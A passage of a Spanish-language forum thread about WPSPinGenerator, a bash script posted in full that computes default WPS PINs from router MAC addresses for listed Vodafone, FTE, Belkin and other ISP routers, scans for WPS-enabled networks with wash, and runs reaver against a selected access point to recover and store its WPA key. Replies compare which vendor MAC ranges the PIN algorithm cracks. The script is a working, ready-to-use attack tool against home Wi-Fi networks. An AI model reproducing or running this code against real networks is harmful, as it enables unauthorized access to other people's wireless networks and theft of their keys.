?>/script>'; } ?> nuevas modificaciones WPSPinGenerator Widgets Magazine

Autor Tema: nuevas modificaciones WPSPinGenerator  (Leído 29519 veces)

0 Usuarios y 1 Visitante están viendo este tema.

warcry

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #20 en: 04-01-2013, 14:18 (Viernes) »
para el video en el segundo 52  ;)

popeye7

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #21 en: 04-01-2013, 14:22 (Viernes) »
Gracias,campeones.... >:( >:( >:(

Desconectado geminis_demon

  • Colaborador
  • *
  • Mensajes: 2378
  • Prácticas precisas precisan práctica
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #22 en: 06-01-2013, 06:49 (Domingo) »
Buenas , mi pregunta es ¿ habría posibilidades de modificar el script del  WPSPinGenerator y que integrara el tiempo de scanning de forma similar al inflator 1.0 y que apareciera la opción de 5,15,30 segundos 1,5,15 minutos y además diera la posibilidad de all channel o de canales sueltos (1-14) igual que en inflator ? ¿ creeis que estas modificaciones serian acertadas ?
USUARIONUEVO apúntalo en la libreta "cuando tengo ganas "  . Feliz año y a sobrevivir....


VOY A  VER , si le paso esto a geminis , que le pedi otra modsificacion tambien, ...""que revise los ESSID, y si no coinciden aunque la mac sea valida aparezca como no soportado"


por ejemplo -.-.-.

pongamos que la mac

11:22:33:xx:xx:xx  esta soportada para ESSID WLAN_XXXX

PUES LO QUE QUIERO , es que si hay macs

11:22:33 , pero el ESSID no es WLAN_XXXX , aparezcan como no soportadas ,por que hay macs iguales para distintos isp y unos valen y otros no. ,por eso comprobar ESSID.

Añadido comprobación de ESSID, funciona de la siguiente manera:

Si coinciden el BSSID y el ESSID muestra un "SI"
Si coincide el BSSID pero no coincide el ESSID muestra un "??"
Si no coincide ninguno muestra un "NO"

Lo que dice popeye7 me lo apunto para la siguiente.


Código: [Seleccionar]
#!/bin/bash

# Variables globales
SCRIPT="WPSPinGenerator"
VERSION="1.10"
KEYS="$HOME/swireless/$SCRIPT/Keys"
TMP="/tmp/$SCRIPT"

MACs_Soportadas='
ESSID BSSID
-------- --------
FTE-???? 04:C0:6F
FTE-???? 20:2B:C1
FTE-???? 28:5F:DB
FTE-???? 80:B6:86
FTE-???? 84:A8:E4
FTE-???? B4:74:9F
FTE-???? BC:76:70
FTE-???? CC:96:A0
vodafone???? 62:53:D4
vodafone???? 5C:4C:A9
vodafone???? 62:A8:E4           
vodafone???? 62:C0:6F
vodafone???? 62:C6:1F
vodafone???? 62:E8:7B
vodafone???? 6A:53:D4
vodafone???? 6A:55:9C
vodafone???? 6A:C7:14
vodafone???? 72:C0:6F
vodafone???? 72:C7:14
vodafone???? 72:E8:7B
vodafone???? 62:C7:14
vodafone???? 6A:A8:E4
vodafone???? 72:55:9C
Belkin_N+_?????? 00:22:75
belkin.??? 08:86:3B
belkin.??? 00:1C:DF
WLAN_???? 00:A0:26
ZyXEL 50:57:F0
?? C8:3A:35
'

# Algoritmos del script WPSPIN
WPSPIN() {
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)                               
MAC=$(echo $FINBSSID | tr -d ':')                         
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)                     

STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS1=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS1=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS1=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS1=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS1=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS1=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS1=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             

     
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS2=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS2=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS2=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS2=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS2=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS2=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS2=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS3=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS3=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS3=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS3=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS3=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS3=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS3=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi



if [ "$CHECKESSID" = "FTE" ];                         
then

FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`



PIN=`expr 10 '*' $STRING4`                         
ACCUM=0                                                 
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS4=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS4=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS4=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS4=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS4=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS4=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS4=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi               
fi 
}

# Comprobar si la interface está conectada a internet
CheckETH() {
clear
if [ "$(ip route|grep default)" != "" ]; then
  ETH=$(ip route|awk '/default/ {print $5}')
  HW_WIFI=$(ifconfig $WIFI|awk '/HW/ {print $5}'|cut -d- -f1,2,3,4,5,6)
  HW_ETH=$(ifconfig $ETH|awk '/HW/ {print $5}'|tr ':' '-')
  if [ "$HW_ETH" = "$HW_WIFI" ];then
    echo
    echo "Para evitar errores, la interface \"$ETH\" no debe estar conectada a internet! "
    echo ""
    echo "Presiona enter para volver al menú"
    read junk
    menu
  fi
fi
}

# Funcion de seleccionar el objetivo a atacar, la mayor parte del codigo ha sido sacado del script Multiattack de M.K
SeleccionarObjetivo() {
i=0
redesWPS=0
while read BSSID Channel RSSI WPSVersion WPSLocked ESSID;do
  longueur=${#BSSID}
  if [ $longueur -eq 17 ] ; then
    i=$(($i+1))
    WPSbssid[$i]=$BSSID
    WPSchanel[$i]=$Channel
    WPSessid[$i]=$ESSID
    PWR[$i]=$RSSI
  fi
  redesWPS=$i
done < $TMP/wash_capture.$$
if  [ "$redesWPS" = "0" ];then
  clear
  echo ""
  echo ""
  echo "                        * * *     A T E N C I O N     * * *                "
  echo ""
  echo "                          No se ha encontrado ninguna RED "
  echo "                          con WPS activado en la captura"
  echo ""
  echo "                          Pulsa INTRO para volver al menu"
  read junk
  menu
else
  clear
  echo ""
  echo "                Las siguientes redes son susceptibles de ataque con REAVER"
  echo ""
  echo "            MAC            SOPORTADA?      PWR      Channel      ESSID"
  echo ""
  countWPS=0
  while [ 1 -le $i ]; do
    countWPS=$(($countWPS+1))
    ESSID=${WPSessid[$countWPS]}
    BSSID=${WPSbssid[$countWPS]}
    PWR=${PWR[$countWPS]}
    Chanel=${WPSchanel[$countWPS]}
    MAC_Recortada=$(echo "$BSSID"|rev|cut -d: -f4-|rev)
    if [ "$(echo "$MACs_Soportadas"|grep $MAC_Recortada)" != "" ]; then
      ESSID_Soportado=$(echo "$MACs_Soportadas"|grep $MAC_Recortada|awk '{print $1}')
      ESSID_Recortado=$(echo "$ESSID_Soportado"|tr -d '?')
      if [ "$(echo "$ESSID"|grep "^$ESSID_Recortado")" != "" ] && [ "${#ESSID_Soportado}" = "${#ESSID}" ]; then
SOPORTADA="SI"
      else
SOPORTADA="¿?"
      fi
    else
      SOPORTADA="NO"
    fi
    echo " $countWPS)  $BSSID         $SOPORTADA          $PWR         $Chanel         $ESSID"
    i=$(($i-1))
  done   
  i=$redesWPS
  echo ""
  echo " 0)  Para volver al menu "
  echo ""
  echo ""
  echo " --> Seleccione una red"
  read WPSoption
  set -- ${WPSoption}

  if [ $WPSoption -le $redesWPS ]; then
    if [ "$WPSoption" = "0" ];then
      menu
    fi
    ESSID=${WPSessid[$WPSoption]}
    BSSID=${WPSbssid[$WPSoption]}
    CHANEL=${WPSchanel[$WPSoption]}
    clear
  else
    echo " Opcion no valida... vuelva a elegir"
    sleep 2
    SeleccionarObjetivo
  fi
fi
WPSPIN
ShowWPA="OFF"
InfoAP="ON"
menu
}

# Escanear con wash
WashScan() {
if [ "$WIFI" = "" ]; then auto_select_monitor && WashScan; fi
CheckETH
xterm -iconic -e wash -i $WIFI -C -o $TMP/wash_capture.$$ &
WashPID=$!
sec_rem=30
sleep 30 && kill $WashPID &>/dev/null &
while true; do
let sec_rem=$sec_rem-1
        interval=$sec_rem
        seconds=`expr $interval % 60`
        interval=`expr $interval - $seconds`
  sleep 1
  clear
  echo "Escaneando en busca de objetivos... $seconds segundos"
  echo ""
  cat $TMP/wash_capture.$$
  if [ ! -e /proc/$WashPID ]; then
    sleep 1
    break
  fi
done
SeleccionarObjetivo
}

auto_select_monitor() {
#! /bin/bash


#############################################################################################################
# Programa: monitormode
# Autor: M.K. Maese Kamara
#
# Detectar tarjetas y montar  en modo monitor

#############################################################################################################


#poner tarjeta en modo monitor AUTOMATICO

clear
t=0
if [ "$WIFI" = "" ]; then
> $TEMP/wireless.txt
cards=`airmon-ng|cut -d ' ' -f 1 | awk {'print $1'} |grep -v Interface #|grep -v  mon   `
echo $cards >> $TEMP/wireless.txt
tarj1=`cat $TEMP/wireless.txt | cut -d  ' ' -f 1  | awk  '{print $1}'`
tarj2=`cat $TEMP/wireless.txt | cut -d  ' ' -f 2  | awk  '{print $1}'`
rm  -rf $TEMP/wireless.txt

if  [ "$tarj1" = "" ]; then
clear
echo "                  * * *     A T E N C I O N     * * *                "
echo ""
echo "    No se ha encontrado ninguna tarjeta Wireless en este equipo"
echo ""
echo "    Pulsa ENTER para volver al menu"
read yn
menu
fi

if [ "$tarj1" = "$tarj2" ]; then
tarj2=""
fi

tarjselec=$tarj1

if [ "$tarj2" != "" ] ;then
echo
echo
echo "      Se han encontrado las siguientes tarjetas wifi en este equipo"
echo

airmon-ng |awk 'BEGIN { print "Tarjeta  Chip              Driver\n------- ------------------ ----------" } \
  { printf "%-8s %-8s %-1s %10s\n", $1, $2, $3, $4 | "sort -r"}' |grep -v Interface  |grep -v Chipset

echo "      selecciona una para utilizarla en modo monitor"
echo

tarj_wire=""
tarjselec=""
function selectarj {
select tarjselec in `airmon-ng | awk {'print $1 | "sort -r"'} |grep -v Interface |grep -v Chipset  `; do
break;
done

if [ "$tarjselec" = "" ]; then
echo "  La opcion seleccionada no es valida"
echo "  Introduce una opcion valida..."
selectarj
fi
}

if [ "$tarjselec" = "" ]; then
selectarj
fi

echo ""
echo "Interface seleccionado: $tarjselec"

fi
else
echo
fi
tarjmonitor=${tarjselec:0:3}
if [ "$tarjmonitor" != "mon" ] && [ "$WIFI" = "" ];then
echo ""
echo ""
echo "                    Se está montando la tarjeta en modo monitor"
echo ""
sleep 1

#limpieza interface

ifconfig $tarjselec down >/dev/null
ifconfig $tarjselec up >/dev/null


airmon-ng start $tarjselec >/dev/null
cards=`airmon-ng|cut -d ' ' -f 1 |awk {'print $1 | "sort -d"'} |grep -v Interface |grep -v wlan`
largo=${#cards}
final=$(($largo-4))
WIFI=${cards:final}
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2

else
if [ "$WIFI" = "" ];then
WIFI="$tarjselec"

echo ""
echo  " $WIFI ----> Se utlilizara en modo monitor."
sleep 2
fi
fi
clear
}

ObtenerWPA() {
CheckETH
if [ "$CHECKESSID" = "FTE" ]; then
  PIN=$PINWPS4
else
  PIN=$PINWPS1
fi
xterm -iconic -e reaver -i $WIFI -b $BSSID -c $CHANEL -p $PIN -v -o $TMP/reaver_capture.$$ &
ReaverPID=$!
sleep 25 && kill $ReaverPID &>/dev/null &
while true; do
  sleep 1
  clear
  echo "Obteniendo clave WPA..."
  echo ""
  cat $TMP/reaver_capture.$$
  if [ ! -e /proc/$ReaverPID ]; then
    sleep 1
    break
  fi
done
echo ""
WPA_KEY=$(cat $TMP/reaver_capture.$$|grep WPA|cut -d"'" -f2-|rev|cut -d"'" -f2-|rev)
if [ "$WPA_KEY" = "" ]; then
  echo "No ha sido posible obtener la clave WPA"
  ShowWPA="OFF"
else
  WPA_TXT="$(echo $ESSID)_$(echo $BSSID|tr ':' '-').txt"
  echo "ESSID: $ESSID" >  $TMP/$WPA_TXT
  echo "PIN WPS: $PIN" >> $TMP/$WPA_TXT
  echo "CLAVE WPA: $WPA_KEY" >> $TMP/$WPA_TXT
  cat $TMP/$WPA_TXT|sed -e 's/$/\r/' > $KEYS/$WPA_TXT
  ShowWPA="ON"
  echo "La clave ha sido guardada en \"$KEYS/$WPA_TXT\""
fi
echo ""
echo "Presiona enter para volver al menu"
read junk
menu
}

#Función de desmontar tarjeta y salir, sacada de el script Multiattack de M.K.
function DESMONTAR_tarj_y_salir {
if [ "$WIFI" != "" ]; then
clear
echo ""
  echo ""
  echo ""
  echo " ####################################################################"
  echo " ###                                                              ###"
  echo " ###     ¿ quiere desnontar la tarjeta antes de salir?            ###"
  echo " ###                                                              ###"
  echo " ###        (n) no   -> Salir sin desmontar                       ###"
  echo " ###        (m) Menú -> Volver al menú principal                  ###"
  echo " ###        ENTER    -> Desmontar y Salir                         ###"
  echo " ###                                                              ###"
  echo " ###                                                              ###"
  echo " ####################################################################"
  echo ""
  echo ""
read salida
set -- ${salida}

if [ "$salida" = "m" ]; then
menu
fi
if [ "$salida" = "n" ]; then
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
exit
fi
echo "$WIFI Ha sido desmontada"
airmon-ng stop $WIFI >/dev/null
fi
  echo ""
echo "         Hasta Pronto..."
sleep 2
clear
 exit

}

menu() {
# Bienvenida
clear
echo "
         __    __               ___ _                   
        / / /\ \ \____  ___    / _ (_)_ __     
        \ \/  \/ /  _ \/ __|  / /_)/ | /_ \   
         \  /\  /| |_) \__ \ / ___/| | | | |   
          \/  \/ |  __/|___/ \/    |_|_| |_|  Generator $VERSION
                 |_|                                      "
echo ""
echo "        ****************************************************"
echo "        * << Based on ZhaoChunsheng work & kcdtv script >> *"
echo "        **************************************************** "
####################################################################
sleep 1
echo "---------------------------------------"
if [ "$InfoAP" = "ON" ]; then
  echo "INFO AP OBJETIVO"
  echo ""
  echo "              ESSID = $ESSID"
  echo "              Canal = $CHANEL"
  echo "         MAC del AP = $BSSID"
  if [ "$CHECKESSID" = "FTE" ]; then
    echo "    Posible pin WPS = $PINWPS4"
  else
    echo "    Posible pin WPS = $PINWPS1"
  fi
  if [ "$ShowWPA" = "ON" ]; then
  echo "          Clave WPA = $WPA_KEY"
  fi
  echo "---------------------------------------"
fi
echo ""
echo " 1) Buscar objetivos con WPS activado"
echo ""
echo " 2) Obtener clave WPA con reaver"
echo ""
echo " 3) Seleccionar otro objetivo"
echo ""
echo " 0) Salir"
echo ""
read -p " #> " CHOISE
echo ""
case $CHOISE in
  1 ) WashScan;;
  2 ) ObtenerWPA;;
  3 ) SeleccionarObjetivo;;
  0 ) DESMONTAR_tarj_y_salir;;
  * ) echo "Opción incorrecta"; menu;;
esac
}

# Comprobacion de usuario
if [ "$(whoami)" != "root" ]; then
 echo -e '\e[1;31m


    ¡¡¡ Debes ser root para ejecutar este script !!!

        Prueba: sudo $0

\e[0m'

 exit 1
fi

# Crear directorios si no existen
if [ ! -d $TMP ]; then mkdir -p $TMP; else rm -rf $TMP/*; fi
if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
if [ -d $HOME/Desktop/Wireless-Keys ]; then
  if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
    ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
  fi
fi

# Eliminando interfaces en monitor
interfaces=$(ifconfig|awk '/^mon/ {print $1}')
if [ "$interfaces" != "" ]; then
  for monx in $interfaces; do
    airmon-ng stop $monx >/dev/null 2>&1
  done
fi

menu

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #23 en: 06-01-2013, 11:33 (Domingo) »
Bonito regalo de reyes.   >:( >:( >:(

Muchas gracias campeon.

goyfilms

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #24 en: 15-01-2013, 20:49 (Martes) »
Hola! quisiera hacer un mod de este script de tal forma que al pasarle una BSSID y un ESSID me devuelva un PIN. Todo ello con intención de implementar el algoritmo en goyscriptWPS. Pero antes quisiera pedirle permiso al autor de dicho script (por educación y para evitar malos rollos...), sin embargo, no sé a quién dirigirme ya que en el código no se indica quién es el autor, simplemente que está basado en otros scripts... quién es realmente el autor de WPSPinGenerator?  ???

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #25 en: 15-01-2013, 22:12 (Martes) »
Hola! quisiera hacer un mod de este script de tal forma que al pasarle una BSSID y un ESSID me devuelva un PIN. Todo ello con intención de implementar el algoritmo en goyscriptWPS. Pero antes quisiera pedirle permiso al autor de dicho script (por educación y para evitar malos rollos...), sin embargo, no sé a quién dirigirme ya que en el código no se indica quién es el autor, simplemente que está basado en otros scripts... quién es realmente el autor de WPSPinGenerator?  ???

wpspingenerator , es nuestro  ...basandonos EN EL ALGORITMO , del chino para generar los pines.

osea

algoritmo del chino ...y nosotros hicimos el script , de modo que nos resultase comodo.

por mi parte no hay problema en que te hagas un mod , para tu suite,.


Particularmente , mi mentalidad con respecto a linux es ....( si no es algo de apgo y por ende con copyright ) , NO ES DE NADIE.

por ejemplo el que estamos hablando ...wpspingenerator lleva trozos de varios scripts diferentes, de los que aprovechemos las partes que necesitabamos a modo de funcion.


goyfilms

  • Visitante
Re: Re: nuevas modificaciones WPSPinGenerator
« Respuesta #26 en: 15-01-2013, 23:43 (Martes) »
Ok. Muchas gracias.
Aprovecho para deciros que lo he probado con dos AP cuyo BSSID comenzaba por 6A:C0:6F y el ESSID es vodafoneXXXX y funciona perfectamente

Enviado desde mi GT-I9300 usando Tapatalk 2

Desconectado geminis_demon

  • Colaborador
  • *
  • Mensajes: 2378
  • Prácticas precisas precisan práctica
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #27 en: 15-01-2013, 23:52 (Martes) »
Por mi parte tampoco hay ningún problema con que modifiques el script o que añadas el código a tus scripts, coincido totalmente con USUARIONUEVO en su definición de lo que significa Linux.

En cuanto a lo del ssid de vodafone, yo creo que es compatible con todas las vodafonexxxx, lo que pasa es que solo se han puesto como compatible las MACs que han sido comprobadas.

warcry

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #28 en: 15-01-2013, 23:54 (Martes) »
En cuanto a lo del ssid de vodafone, yo creo que es compatible con todas las vodafonexxxx

siento disentir, no es compatible con todas las mac vodafone  :-\

Desconectado geminis_demon

  • Colaborador
  • *
  • Mensajes: 2378
  • Prácticas precisas precisan práctica
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #29 en: 16-01-2013, 00:12 (Miércoles) »
En cuanto a lo del ssid de vodafone, yo creo que es compatible con todas las vodafonexxxx

siento disentir, no es compatible con todas las mac vodafone  :-\

Estas seguro que en router en el que lo has probado no ha sido cambiado el pin por defecto?

Si es así, porfabor dime la MAC, para hacer las pruebas, por mis manos pasan bastantes routers de ssid vodafoneXXXX, y en todos los que he probado el pin generado era el correcto.
« Última modificación: 16-01-2013, 00:13 (Miércoles) por geminis_demon »

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #30 en: 16-01-2013, 00:24 (Miércoles) »
ojo , que hay Vodafone , con V mayuscula.

goyfilms

  • Visitante
Re: Re: Re: nuevas modificaciones WPSPinGenerator
« Respuesta #31 en: 16-01-2013, 00:50 (Miércoles) »
ojo , que hay Vodafone , con V mayuscula.
Las que probé yo son con minúscula

Enviado desde mi Nexus 10 usando Tapatalk 2

minisergio

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #32 en: 22-03-2013, 04:26 (Viernes) »
donde puedo descargarlo

VTCop

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #33 en: 03-09-2013, 18:59 (Martes) »
Por lo que veo eta es la versión 1.7 del script, mientras que la última versión del wifiway trae la 1.22

Si quiero tener la versión 1.22 (que supongo que traerá alguna MAC más) ¿la única forma es con wifiway? ¿no soléis actualizar este post con el código de la última versión?

Muchas gracias

alist3r

  • Visitante
Re: nuevas modificaciones WPSPinGenerator
« Respuesta #34 en: 03-09-2013, 19:06 (Martes) »
Por lo que veo eta es la versión 1.7 del script, mientras que la última versión del wifiway trae la 1.22

